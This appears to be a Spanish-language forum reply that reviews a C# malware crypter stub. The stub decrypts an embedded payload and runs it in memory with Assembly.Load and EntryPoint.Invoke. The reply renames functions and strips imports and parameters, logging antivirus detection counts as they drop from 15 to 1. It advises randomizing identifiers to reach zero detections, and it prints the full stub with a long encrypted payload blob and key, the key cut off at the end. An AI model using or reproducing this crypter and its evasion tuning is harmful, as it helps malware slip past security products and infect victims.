Bien, desglosemos el código;
Para empezar este tipo de declaraciones es detectada por 2 antivirus
(SecureAge APEX / MaxSecure) :
Char[] charset = {
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',
'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G',
'H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W',
'X','Y','Z','1','2','3','4','5','6','7','8','9','0','+','/','=' };
Las Puedes Cambiar a :
static string CharsetAlfabetoSTR = "abcdefghijklmnopqrstuvwxyz";
static string CharsetNumberSTR = "1234567890";
static string CharsetSimbolsSTR = "+/=";
static string CharsetAlfabetoUpperSTR = CharsetAlfabetoSTR.ToUpper();
static string FullCharset = CharsetAlfabetoSTR + CharsetAlfabetoUpperSTR + CharsetNumberSTR + CharsetSimbolsSTR;
Char[] charset = FullCharset.ToCharArray();
La funcion : (es detectada por
MaxSecure como
Trojan.Malware.300983.susgen)
public static int[] SubstractNumericArrays(int[] numeric1, int[] numeric2) {
// TODO: check arrays share length here
int[] res
= new int[numeric1
.Length];
for (int i = 0; i < numeric1.Length; i++)
{
res[i] = numeric1[i] - numeric2[i];
}
return res;
}
La cambiamos a : (y ya no es detectada) public static int[] SubNumeric(int[] N1, int[] N2)
{
int[] res
= new int[N1
.Length];
for (int i = 0; i < N1.Length; i++)
{
res[i] = N1[i] - N2[i];
}
return res;
}
Ya sabemos que esa funcion tenemos que generarla con nombre de variables randoms.Tal parece que los Antivirus
(SecureAge APEX y MaxSecure) son muy sensibles a los nombres de variables y/o Funciones. Por eso aplicaremos nombres random a todo el stub si es posible.
Bien , Ahora nos ponemos serios, La función : (Es detectada por 15 AVs)
public static void RunFromMemory(byte[] bytes)
{
Assembly a = Assembly.Load(bytes);
MethodInfo method = a.EntryPoint;
if (method == null) return;
object[] parameters
= method
.GetParameters().Length == 0 ? null : new object[] { new string[0] }; method.Invoke(null, parameters);
}
Si quitamos la Importacion
Using System.Reflection; y la cambiamos por el espacio de nombres directamente, la deteccion baja a (14 AVs)
public static void RunFromMemory(byte[] bytes)
{
System.Reflection.Assembly a = System.Reflection.Assembly.Load(bytes);
System.Reflection.MethodInfo method = a.EntryPoint;
if (method == null) return;
object[] parameters
= method
.GetParameters().Length == 0 ? null : new object[] { new string[0] }; method.Invoke(null, parameters);
}
Si Cambiamos el nombre de la funcion y variables la deteccion baja a (13 AVs).
Si Modificamos la funcion de esta manera, quitando la opcion de los parametros, entonces la deteccion baja a (5 AV) public static void RM(byte[] BT)
{
System.Reflection.Assembly AS = System.Reflection.Assembly.Load(BT);
System.Reflection.MethodInfo MT = AS.EntryPoint;
if (MT == null) return;
MT.Invoke(null, null);
}
y Si Quitamos el
.Invoke(null, null); la deteccion baja a (1 AV) .
En pocas Palabras el Problema esta en tu el metodo para iniciar el PE. asi que cambialo por algun otro RunPE.https://www.virustotal.com/gui/file/188efeee138c836d953da7946495d8da37b69207b63855dde92a2dc89d9ea327?nocache=1La unica deteccion es del antivirus
MaxSecure y recordemos que este Identificador de deteccion :
Trojan.Malware.300983.susgen se debe a algún nombre "Sospechoso" de alguna función o variable.
Entonces si logras generar un stub 100% con identificadores randoms, entonces tendra 0 detecciones.
Por cierto el Codigo que pusiste en github tiene
27 detecciones, yo cambie un poco la estructura y las detecciones
bajaron a 20using System;
using System.IO;
using System.Text; //Encoding
using System.Collections.Generic; //List
using System.Reflection;
using System.Threading;
public class Decrypter
{
public static void RunFromMemory(byte[] bytes)
{
Assembly a = Assembly.Load(bytes);
MethodInfo method = a.EntryPoint;
if (method == null) return;
object[] parameters
= method
.GetParameters().Length == 0 ? null : new object[] { new string[0] }; method.Invoke(null, parameters);
}
public static string NumberToBase64(int[] base64)
{
Char[] charset = {
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',
'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G',
'H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W',
'X','Y','Z','1','2','3','4','5','6','7','8','9','0','+','/','='
};
String res = "";
for (int i = 0; i < base64.Length; i++)
{
res += charset[base64[i]];
}
return res;
}
public static string Decrypt(string base64, string key)
{
// decode b64
byte[] data = Convert.FromBase64String(base64);
string decoded = Encoding.UTF8.GetString(data);
// get numeric array from base64decoded
int[] numericText = TextToNumber(decoded);
// get numeric array from key
int[] numericKey = TextToNumber(key);
// substract arrays
int[] originalNumeric = SubstractNumericArrays(numericText, numericKey);
// substractedResult to text
String originalBase64 = NumberToBase64(originalNumeric);
// decode text from base64
byte[] rawData = Convert.FromBase64String(originalBase64);
// write decoded as bytes to file (not in memory)
// File.WriteAllBytes("./dummy_malware", rawData);
// run bytes
RunFromMemory(rawData);
return "";
}
public static int[] SubstractNumericArrays(int[] numeric1, int[] numeric2) {
// TODO: check arrays share length here
int[] res
= new int[numeric1
.Length];
for (int i = 0; i < numeric1.Length; i++)
{
res[i] = numeric1[i] - numeric2[i];
}
return res;
}
public static int[] TextToNumber(string text) {
Char[] charset = {
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p', // 16
'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G', // 33
'H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W', // 50
'X','Y','Z','1','2','3','4','5','6','7','8','9','0','+','/','=', // 66
'@','#','$','%','&','*','-','(',')','!','"','\'',':',';','?','~', // 82
'`','|','•','√','Π','÷','×','{','}','£','¢','€','°','^','_','[', // 98
'™','®','©','¶','\\','<','>',',','.','á','đ','é','₣','î','ï','ì', // 114
'í','λ','μ','ñ','ó','₱','û','ü','ÿ','ý','ž','Á','Ç','Đ','É','Î', // 130
'Ï','Ì','Í','Ó','Û','Ü','Ù','Ú' //138
};
// int[] res = new int[text.Length];
var list
= new List
<int>();
for (int i = 0/*, k = 0*/; i < text.Length; i++)
{
for (int j = 0; j < charset.Length; j++)
{
if (text[i] == charset[j])
{
// res[k++] = j;
list.Add(j);
}
}
}
return list.ToArray();
}
static int Main(string[] args)
{
Decrypt("wrA4Oj1EP35YKCJMOiE2VyHDr8OHK2ApfTVWOjMmIS8pTH7CoksmKinDlzshQjM9IkE7OS0pSlpXKT85NC1MSEgvKE8oKU1PMUU1J1gqSykoQjZIw5FaKSlWKSnEkXl3S8KjTCtMeV9+M3oiwrDDt1vDkVYvJDBYSjsnWHjDrG5mUiZYO1IwWmNSOylZKTAmwqnihKI7KVY3K25SKSMywqJQ4oCiVC3iiJosTsK2UjpFKCzigrEkYD87YCg/OTdEWTbCosKiKMORVsKwSjlEIT1ORmN+TCpFTVchKU07YCfDl8OXV3x0PcO3QuKCrDpRKEolOyY7KDYvLSYpL0tPOCVPMTYpOzpMQn5EIVFLOkgpw5c7I0NNNU5BNT1MQjRIIiFNw5dXPTVMKS83SD9CS3wnJ0wpQUNMIlAlLTUqLzIpfC0pJiopS8KjUVMvNkEqODE3KUs1QSZNOFlgNURIRTtPw5EpSjFBLX49UyZLSEgmS3xSJ0xIw5EhMClDLzdJfCZNVyEtJ0jDkSEkNVU9KUw6QjU6SCc7OkFENiY3Jkt8KkI1w5FWIVEpQS07KSIqTDpKJiEmQS0oOkEvOzpQKktTISlLTzohSzpWKTs5IUM3TCEpNDlIKTM5I0M/PTVBNk8qQVkpJykhTyNCPzhXIU4mPXw2JikpKTohPTUoV0E2w7dIQjRPWTt9OlIhUE82IU1IOi9OSCInOzo2KSLCoj/ihKI4L8OuQjVLVyNLfUEoOyhEIU45PSI0T1AoTExgQTUoVkE0PS0mTE9XKE07NihgOSlCOTomY0AyT1wlRDVFJDkrIylESFHDl0/DkSlLXjAtPyYvKk45SCY/SC0nIk8hRUxEIkU2w5dJLyEqN+KImiPCojRVUS9QKEw64oiaKUxPNy06NSopTTU5IyFISSgiMeKAoiEtMUFDO0RTKktEIkIhSEF7IXzDkcKiTEtXIUtEISlLT1kpNlI7KcOXOylCWTfCokotMTAtKUQ1RTlqJzo0fCcpTDAoVyImNkRewrBZQjc5J0F+JigoM1dWRkwpUy8oRCkvS08hJ0smQSE2NFdDNzk6KSEmNjooRCMqNMO3ITo2SEgvNzFVKU1TKio7JVgoS0QtQktPw5EoSjnDkSk4MCdlTEhMQj0mPTsoQ3xDMTtAfnFPKz1aKS0iTVdBKjl8L8KwdmAiQjc1OCk1JjYoOylTJktJX8O3YCtM4oCidVNYJ0tIPiVNNUovIcKjw5dWP1NLITY6J0E2NTQxck9+MShgViZMTzctTCYyVeKCoyp+Vn4/blYiNSEqTiovKUt8IjshfMORITdQW19IK1cmcyZZfig6KkEiKTHCozZBO0IiJiI9Mz06RStPOCpMSHF+PTYlwq4zO2BEPyk2KU4mIykhJiJ9LUBWKTt2UShNNSLDoSQ6fid7NjAhTGAiKEtERykhJiQoJCh8KTtXN0E2SEAqNDk/ITM7w5coOyJXKCJMIUE/JignM1NWQjspUDJzw7ciJk1XOifDlzpQQis5NyVITEcpYC87KCYoMyE4JlFzNUR+QVp9KClLRMOXQV5PNjl0PWBCN0AiL3FIMiopOjYoMUQpLylPw5coM1NPKDV+WEU3McKwQjZIMyczV0wpKTlTwqPDkU89KTs4VjdaKyhBPzc3KjJJbDrDlzopKU5RfkpVPVYidDlOJk0mWCExfkkpP8ORWTdwOiJBfinigKIwMjrigKJEeyshPXNMVUFgUyfDtzNXNSV+VlcrckRHJiIqUiFJOzMhTjdROiQ1JC8iKll84oCiO8O3ITVbUipLSEEmNDpBOihEMCopPVJBNkg9LykqISlMQzE9NiVYKUtEIUJMOSMpTETigqwpOzYiRDdEIS8hV1gpOiIqWOKImjohV0/Co867Ly84MMKuxJHigKJ5WCs3ejowTThX4oiaNi9fwqnDly3DkT/CsFdjMDN6U86gJFRYzrzDqThOUV5TfsKpw5ckw5HCtsOtKcKpwqNJJFh5T86gwq42KiNjMMKjfl5POzVmW1BHwqJbTSsxW00wWjswcFkjfF5bMUknY86gIkRWOEFUTz93Jlc5UDlTUXw/XFtfelVAw5dRwqI5wqLDrmNAMiYyXyFaJuKAosO3KFV5WXhTOCs/WDwtS8KwPHwvwql3b0BhPsOXLnvihKJf4oCiw5FRN0JnYCw3JlFzJFo7RVfihKIjTTJjUCM1TTAzKMKpMjs6aH4pfjI74oKxIeKAol9QJldyJjR7w7cpUjJLScKiZmBUIsKuNnt1wqJRK0Iy4oiaOEZkzqAzJsKuw6leMFbOoFRSWFM3JUwvWCZXdztUZjg6S8KiPS9Bw5FRUy3CqX7Dt1TCtjA6Ik1bUDlkKlhWPF5AIcK2XGc9ZlIvfE7CtlsjWCpYcjE4TSlDK8KpNGI2OzNZP1dLQ0w6W3tMRVgpU1figKJYLTJ2KX5ENlotUCVCUVciV0sha0VMOlAmTEfDkU44zqA2IiwwMsKifcOpP86gbeKCrOKImm4/NUUhKVRYRcKjYFk6M0QiJuKEojJFKcKiV+KCrCFfVDYoMkjCo0RXVSLihKJRPsOtJ8KwOzdAwqJTJyYyKF8iTVMqJ0s7N0E0VyEqdExIKSw7X0NzI3xUeEkq4oCiNyIvwqI5a0ZbPD3iiJpTwq4tPVbOoG9NVkBVKSEpclRENHZAQjVPw5ctKSYyKVJfNS8tJiEpWSktKUo5NUV8PkQmTDpJOjs0VilNO2BDPy9XQzRIJClNJi0nSylWIUw6N0U2UeKAomBITGApP3wqKU05N0E1SCFBT8OzJlU8w7dGMS/OoC9ZP3M9QisjVsKpwqnDl3laXMKjTcK2YEl6JjRPIichVsKpTDIpL8O3TVMhLylPOyg/VzIpPzk4JU46IilMOTc6MzUjKTtEUUE2VyovNU9IKU3Dl1coOzhXKE49IkIoOiEoTVdSPSlMKUE0PSFCKE84JygpIycpOTUhTUg6RUs6fihMOiFENj01PSlEPSkhVlkpTVcqKsOXOzcmIkhBJiFIKCdLRFBCPylQJU01M0I1UTt8w5c6S0HiiJo5NkIrPSEvSikkKTM5MCZNPThDNUhIL0wvWSHCozpBLWBPUi1VOUkmTSYjJ01XMEUpRCdDNEQhQilgIik2fCEpQDk2Kk4xIUI1T34pOzpBJjtM4oCiJk1MPSk7PTghwqJTw5Em4oiaNjcm4oCiSEoqNHwhJ0wmNik1J1hFNlNKQjVTKShNV0stVSlWJUo/4oKswqM0OUh+Sj1LJjtEVC1MJkgvTUjDkX4hMcOuJylMIVhMO1Qmfj4oX3NT4oCiRVBTKcKuMsOXYEEzwqMhWyQ7cCnigKJTN8KicCo7QeKAoj4qOik6QUNWJzDDrl4rKi8/THwpTERWJTtMIi1LRCFCTDlSKMOXRCpDYCpRIU49IylOMSE6KETDlyE1PVFCMz0hQiIxLSk/UlcqNjU1RTVFJUJNSMORKVoyVynOoCVSZUtJJ0IvMiJVKSFIKE8wUjFORTYvO8OsYCg7SFIoYChYQjbDtylCMDoiWCQ7ekQvwqk1ZlrigKJBJlM0Vlk1Ozgl4oiaw69RTjI6PSk1OSIpTX5LRlIpUyFNUygm4oCifTdZP1hUKeKImlMhYzlQKylPPEhWWjA3KeKImsKjVMKiMjIlQj/OoChYKlMhROKAompTIUtITSbigKIxJM6gTVfDkT04J1gnKMO3JUIwVyd7KDpSKWBaVyk0SEIm4oiaNllWWjZzIX46N1Q2TTghKyg3wq5JWEk9L8ORV1dOQMOvIS9Iw5FWRyFQITVMIkQ0U3BCNSc/4oiaTVNfQU054oCiwqJyST1B4oiaTFE8wqM74oiaQ86gzqA2ZExFJkIwejhXLVBVLyEvVzo3OUQmfMKpLeKAoig6UCEnRCJPTTUpKU0mInw/V1BBOz3igKJUIcOXIylSXn7ihKJ9O1ApUTdSWzJFI0IrfDrCqcKjISQo4oiawq5RLyIpKiY/SEHDlyFTQy87OlJeTEV2JsKwNzZbMjtDLU99ImUnUCpCfHItV0YxTSorTCdhNjbDoSk/SCl8IVNLQmA0Vyl0NSpCJ8OvIjFxO0wvP21WVzNUQi9QUzdaSyooKcKwK1BXTDI4JjAqK+KEojM/OCp+zqA2QTZIPEI0TOKAosO3OzpJJykoV8KiTkAqQlAhT8KuTT8jIStXUVpORTgpUsKjOjEkIUopzqBTIVNGQCMpTDpZeyg6NENOfCI6Mk9EL8ORKzTOoEo1QUFgNVdFNCkqQj8pT1hJVCcvK8KuUFRaKjUvPyZ8WVtTcUFQfTXCo8KjRSJCLyg3VjE7QCniiJo3UiFNVyovNcKuWM6gITsiQmAoWH40T0BCKDoiJVDDtz1FLXpRJkxPTCZNJlcpP1cwQSjihKJ9eDVEw61aUl/DkXx+PkRYIzpVWD0rJTowPVHOoDdMJDxbwqNHVj5ZPWMwVCF+dTtVVnTDrD9NTUUpT1A7IjzCsElHWOKImsOpRXs0KTXCqTkxcOKCrDs7OS03JyRQKyYvw5FAMi3CrnlUIy0vNlBVYC96zqDCsDtcMXc3PFlcWEh9W8KiccORLSR+VFt8WlU9wqImMVDCo0BazqA+T3spfDlkNcKi4oCi4oCiNExvWDtAI1Y2w7dLZ86gOi3ihKIrKSVifiw54oKswrAxeGDDkURBwqNz4oKs4oiaLU184oiaXMOvw7dOwq48w5dPVlEtYMKpNTtPWM6gScOtaSIhKjJgNiZhKcKjYH3Coz1MTSs1TXxOK0Q7TTAlXDhbUVM0w7c0MTcwRsORUCFVwq7OoDLDoVQ4w6zDkT8wSSpUTlcje1rigqxLS007w6laUcKiXFQ9N86gWDkqRkrDt1lMWGA4IVFeO8KpV3Z8NlXiiJpYRsK2MDRvWEtbMVlfT35Xw6kpJF83JiozLyI5wqJMQEBTNcOXzqB+dExcIyhEMmB+RCRRzqAlSH1cWSliODc1w5daW35+Nzp3J05EVX1SfCQyP1koY8O3O1AyME0iVuKEoiNLV86gwrZXXzwneFhRwrYjY1Q9IWB3IUlVditSXi9rc1M3w5fDkeKAojnOuy19zqDOoFJXL8KpL1l9wrY9VzzigrHCrsKpflBaT1PDryhJMMSRwrAiJjp5fDgmTEw4T2/OoFJTSljCrsK2KMORw7chRV9OwqksMX5UPjI6UFFiT0k4WncjQi1QP1Iyd8KpQ3vCriZNZcKiLyZZI8OXWMKpOz04TS8rV8OXOVQyfT5ULX0ifG0yXEEpwrYzTHbOoExbfD8iKDd8NydFVDjDv0Z9W1PDoTw4T+KCscKpW185WXpBwrZiP01LwqlAwrY1zqByLjLOoDhMM3w3NTVYw6HCqTZZPDpNZS9uw6lEX0Q14oiaw5F6SjJ+WDxmw7chKU44PlR9OOKImlRQfl5ET1xQNmM/WEpaOjtBITYlWUM1REkhNkgoKSJPMUU1PTYqTExIJsOXOi0pSjnDkSlMRCJENlNJL0tMYClNfDYoTTkpIUxIOkE7T34tKTpRRDtEU0Q2SD1BfjE4ISFTKi07J1YvIjUhQjQ5IihLKVYtNSlTLyjDty0pw5d8NycoRMORLU05NUIzOiEvKU9IISk6JkU1PVQtTClJQX4xVikhw5dXKD89NilONSYpNDkjKE07KiFMS1YpTVMhL0tPIihNTyMpKTpSIU5POilMTzA6KUQ2JjspUkM2TCovTUdYKU1PNichNFc6NEghQT9IJSlNU1YtOzpTRDdELSlMT1khIk82KTQ7IihLTCkvTiZIJyFXIyZLfCE6NU9JJktPOClNU0FEO0Q3KUtMKEI2Jk8oSjUwPUw6USd+SEkvKSlgKT9TQSE2NVJDNUghQTs6WDooOlJDKTlSQzZXKkIpOWApSjlgKj81NypLOkomTSYnKU1XMC01OigmS8O3Ki8pTzsoTVcjQSk6IUM1TyFCLVpXKC01Iyk/OTYhTEhIRU1XJyk1OkFEOz02ISJMTCZ+JiItIVNWKik6N0M1PSEpw5cpfCkhVyMnKTpSQzZIOi9OSH4oSjVWJj81Ni1LfD1CIUNXKcORO2BBPz1XJiJKRWBJSCknLTkqITVMU0U0U0ovKSl+IUs6I0FLOyJFN0whL0opJCkzNUFEKTVSOjVPISk7NX4pSjFBKj89UypLKShCNiZPKcOXKTApKTpQKk5PTCZLTGApNnwjKE05NyhLw7c6KX4mSCjDlzpLQztEUyZMRD1BWSnigKIhLTEhQjsoWCpLSClBWUwpKU5PNkRMKFhFNU9MJkw6WCfDl0RgKD814oCiJi0xISk0OlUnSjk2Qzs9UkE2SC0mKE8iISFXKiY/JlIhTjkiQig6UC0hU0EmOzo3RTU9KEI1TzsoKUhLKTs5UkM1JikpNDpIJz9SVyk7RFE9KUQqQX4xOik7RMOXQT84WChOPSIhNiYnJ0xIKikpKVAlTTUtJk1XWCk/fEtBNTpTKEtMOikhLzspSjkwKSk5KCVMT0xBfjElISJPMC07OVMmS0QmQjYmIy0oKVYpTCdXOjMxSS8oKX4tTClLITY5UUM2NSgpNE8tKSg6QUQ2KTgtS8O3KkI2VjspNlcpPSE1NypLOkomTVdBKUw6VkVMOlAqSzpMJkxPOicoRDYow5fDl1hBMzohQiIxNyEpOkshNTlROjZIKkFZKVYpIcOXOyVLOyEhIkgiQjYmQSlKMSE9NToiPSk9KS9LT1gtTDpSIU00V0M2SCEvNU9ZKUw6I0M7PVE9KT1JKUtPOilNTzAvNDs3Jk45PSlNJignIVNBITUpVEM0REtCNU8pKD9Tw5cow5c7UT0oSDpBO09VKUpaVkUhNTcjKUQhRUs4w5cpTENXKTs4V0M0TCFCNHxPKExIMkQ7OlNFNjVLL0s6Nyk/fCotTD03QTVEKClMKFcpw5c6OkUhKTcjIUg9KSHOoFghIVNKPSk6ISFOPSJBS3wpKUw6VkVMOlNFNlNKLyk5WSFLOktBKT01KkxPw60=", "Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY1ZadGRHRk5SbFowWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOc2NFaGpSazVYVWpOb2IxWnRNWGRVTVZWNFUxaG9hbEpzY0ZsWmJGWmhZMnhXY1ZGVVJsTk5WbFkxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxUm1GU2JVbDZXa1prYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STldHUlZUVlpHTTFSVmFHOWhiRXB6WTBac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1V01VbzFWbXBKTVdFeFdYZE5WVlpUWVRGd1YxbHJXa3RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU1ZtRkhPV2hpUlhCNldUQmFjMWR0U2tkWGJXaGFUVlp3YUZwRlpGTlRSa3B5VGxaT2FWSnRPVE5XTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwb1VqSm9WRmxZY0ZkbGJHUllaVWM1YVUxWFVraFdNalZUVkd4a1NGVnNXbFZXYkhCSVZGUkdVMVp0UmtoUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1MxUldaRVpsUm1SWldrVTFWMVpzY0ZWWFZsSkhaREZaZUdKSVNsaGhNMUpWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYxcEhhR2hOU0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YjFWcVNtOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmQwMVdXbWxsYTFwWVdXeG9RMU14VWxkYVJWcHNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVldwS1MxSXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVzVTVjJFeVVuRlZiR1EwVm14c2MxcEhPVmRTYkVwWlZHeGpOVll4V25SVmJHaFhWak5OTVZaWGMzaFhSbFoxWTBaa1RsWXlhREpXYWtKclV6RmtWMVp1U2xCV2JIQnZXVlJHZDFOV1draGxSMFphVm0xU1IxUnNXbUZWUmxsNVlVaENWbUpIYUVOYVJFWmhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVPVDJKRmNIcFhhMlIzWVZaT1JsTnJiRmROYmxKeVdYcEdWbVZXVG5WVGJGSnBWbFp3V1ZaR1l6RmlNV1JIWWtoR1ZHRXhjSE5WYlRGVFYyeGtjbFpVUmxkTlZuQjZXVEJhVjFkR1duTlRhMmhoVWtWYVlWcFZaRXRUVms1ellVZG9UazFWY0ZkV2JHTjRUa2RSZVZaclpGZFhSM2h5VldwQ1lXTkdWblJsU0dSc1lrWnNOVnBWYUd0WFJrbDNWbXBTV2sxSGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsZHdTMU14U1hsU2EyaG9VbFJXV0ZsdGRFdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZsWmtTR1ZHV2xwV1JWb3pXVlZhVjJOV1RuUlBWbVJUWWtWd1dsWkhlR3BPVmxsNFYyNU9hbEpYYUZsV2ExVXhaR3hzVjFaWWFHcGlWWEJHVmxkNGExUnNXWGxoUkVwWFlXdEtjbFY2Umt0amF6VlhXa1prYVZKc2NGbFdSbEpIVXpBMWMxZHJhR3RTTUZwWVdXeGFZVmRXV2xoa1J6bG9UVlZ3TUZsVldsTldWbHBZWVVWU1ZrMXVhR2haZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMVkwWmthMkpHYkROV01qVlBWREpLUm1OSWNGaGhNbEl6V1ZaYVQxSnNUbkppUm1oWFlrWndlVmRZY0VkV2JWRjNUVlZzYUZKck5XOVphMmhEVjFaa1YxcEVRbXRpVmtZMFZqSjRWMVV5U2tkalNFNVdZbFJHVkZSV1dsWmxWMDQyVW14b1UyRXpRbUZXVm1NeFlqRlplRmRxV2xKaGJFcGhXVmQwWVZsV2NGWlhiR1JxVFd0YVIxUXhXbXRoUjFaelYyeEdWMkV4Y0doWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMFYxTXhaRWRWYkdSWVltMVNjMVp0TVRCTk1WbDVUbGQwV0ZKcmJETldiWEJUVjJzeFIxTnNRbGROYWtaSFdsWmFWMk5zY0VoU2JHUk9UVzFvU2xZeFVrcGxSazE0VTFob2FsSlhhSEJWYlRGdlZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYWWtkb2RsWXdXbXRUUjBaSFlrWndhVmRIYUc5V2JURTBZekpPYzJORmFGQldNMEpVV1d0b1EwNUdXbkpaTTJSUFZqQldOVlV5ZEd0aGJFcFlZVVpvV21KR1NrTlVWbHBoVjBkTmVtRkdhRk5pUm05NFYxUkNZV0V4VW5OWFdHeG9Va1Z3V0ZsWGRFdGpiRlkyVW10MGFtRjZWbGhYYTFwaFlWWktjMk5HYkZkU2JFcE1XV3BHVDFZeFpISmhSM2hUVFVad1dWWkdaRFJUTVU1WFYyeG9hMUo2Ykc5VVZsWnpUbFpzVm1GRlRsZGlWWEJKV1ZWV1QxbFdTa1pYYldoYVpXdGFNMVZzV2xka1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TVZrd1dtdGhNa3BIWWtST1YwMXFWbEJXUkVwTFVtMU9TV05HYUdoTmJFbDZWMVphWVZReFNuTlVia3BwVW0xU2NGVnFRVEJOUm1SWlkwVmtWMkpXUmpOVVZsWnpZVlpKZVdGR1VscGlSMmgyVmpGYWExZEhWa2hQVmtwT1ZtdHdTVlpzWXpGVE1XUklVMnRhYWxORk5WZFpiRkpIVmtad1dHVklUbGRpUjFKNlZrY3hiMVV4V2taWGFscFhWa1ZyZUZscVJscGxSbVJ4VjJ4S2FHSkZjRmRYVmxKTFZURk9SMVp1UmxOaVZWcFpWbTAxUTFOV2JGWlhhemxYVFZad1NGWXllR3RXTWtwSVZHcFNWV0V5VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a2QxRXhiRmhVYTJSWFlteEtjMVV3WkZOak1XeHlWMjVPVDFadVFsZFpWV1F3VjBaS2NtSkVUbGRpV0VKVVZqSnplRkl4VG5OUmJHUk9ZV3RhU0Zkc1dtRldNazV6WTBWb1UySkhVazlVVnpGdlUyeFplRlZyY0d4U2F6RTBWVEZvYjJGc1NsaGhTRUpXWWxSR2RsWnJXbUZqTWtaR1ZHeFNUbFp1UVhkV1JscFRVVEZhY2sxV1drNVdSa3BZV1d0a2IyUnNXWGRYYlhSVVVqQmFTRmxyV25kaFZtUklZVWM1VjJKVVJUQlpla3BQWXpKT1JtRkdRbGROTUVwVlYxZDBiMUV3TlVkWGJrcGFUVEpTVUZadGVITk9SbGw1VGxVNWFHSkZjRmxaVlZwelZqSkZlRlpZYUdGU00yaDZWbXBHWVZkWFJrZGhSazVwVW01Qk1WWXhXbGRaVjBWNFZXNVNVMkpyTlZsWmExcGhWMFpzVlZOc1NrNVNiVkpZVmpKME1HRnJNVmRUYWtaWFVucEdkbFpVU2t0U01rNUhZa1pvVjAweWFHOVdWekI0VlcxV1IxcElWbE5pUlhCd1ZteGFkMkZHV25STlNHaFdUVlUxV0ZZeWVHOWhNVW8yWWtjNVZWWnNXak5VVlZwelZteGtjMVJzWkZkaVNFSlpWMVJDYTFJeFdsZFhiazVxVWpKb1lWcFhkR0ZOTVZaelYyeGthMUl3TlVkVWJGcHJWR3hhV0dRemNGZGlXR2hVVlhwQmVGTkdTbGxoUjBaVFZqSm9WbGRYZEd0aU1rbDRWbTVHVW1KVldsaFphMXAzVFVad1ZtRkhkRlZoZWtaWVdUQm9jMVl3TVhGU2EyaGFWak5vYUZreU1VOVNWa1owVW14T1YwMVZXWHBXYlRGM1V6Rk5lVlJ1VGxWaWEzQnZWVzB4VTFaR1VsVlRiVGxwVFZad2VWWlhkREJWTURGWFlrUlNWMUo2VmxoV2JURkxVbXhPYzJGR1dtbFNhM0JaVm1wR1lWbFdTWGhpUkZwVFlsZDRUMVpxUmt0VFZtUllaRWRHVjAxV1ducFhhMVp2WVVaS2MxTnNXbGRpVkVaVVZtdGFkMWRIVmtsVWJHUnBVakZLTmxaclkzaGlNVlY0VjJ0YVdHRnNjRmhXYTFaeVpVWnNjVkpzY0d4U2JWSmFXVEJhWVdGV1NYbGhSbkJYWWxSRk1GcEVSbk5XTWs1SFYyeG9hVmRHU25sV2JURXdaREpXYzFkdVVrNVhSVFZZVkZaV2MwNXNiRlpWYkdSWFRVUkdXVlpXYUd0WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1NHSkhiRk5